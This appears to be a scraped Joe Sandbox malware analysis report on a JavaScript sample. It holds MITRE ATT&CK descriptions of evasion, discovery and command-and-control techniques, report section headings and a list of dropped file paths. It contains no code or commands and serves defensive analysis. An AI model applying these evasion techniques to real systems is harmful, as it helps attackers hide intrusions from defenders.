Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and to identify potential systems of interest for Lateral Movement. Networks often contain shared network drives and folders that enable users to access file directories on various systems across a network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may obfuscate command and control traffic to make it more difficult to detect. Command and control (C2) communications are hidden (but not necessarily encrypted) in an attempt to make the content more difficult to discover or decipher and to make the communication less conspicuous and hide commands from being seen. This encompasses many methods, such as adding junk data to protocol traffic, using steganography, or impersonating legitimate protocols.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 2012713416258531948.js

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Memory Dumps

Sigma Signatures

System Summary

HIPS / PFW / Operating System Protection Evasion

Suricata Signatures

Joe Sandbox Signatures

Software Vulnerabilities

Networking

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Network\Downloader\edb.log

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\1ff29096-6549-4e5f-8f6d-4337b7258629.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.6608

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

Windows Analysis Report
2012713416258531948.js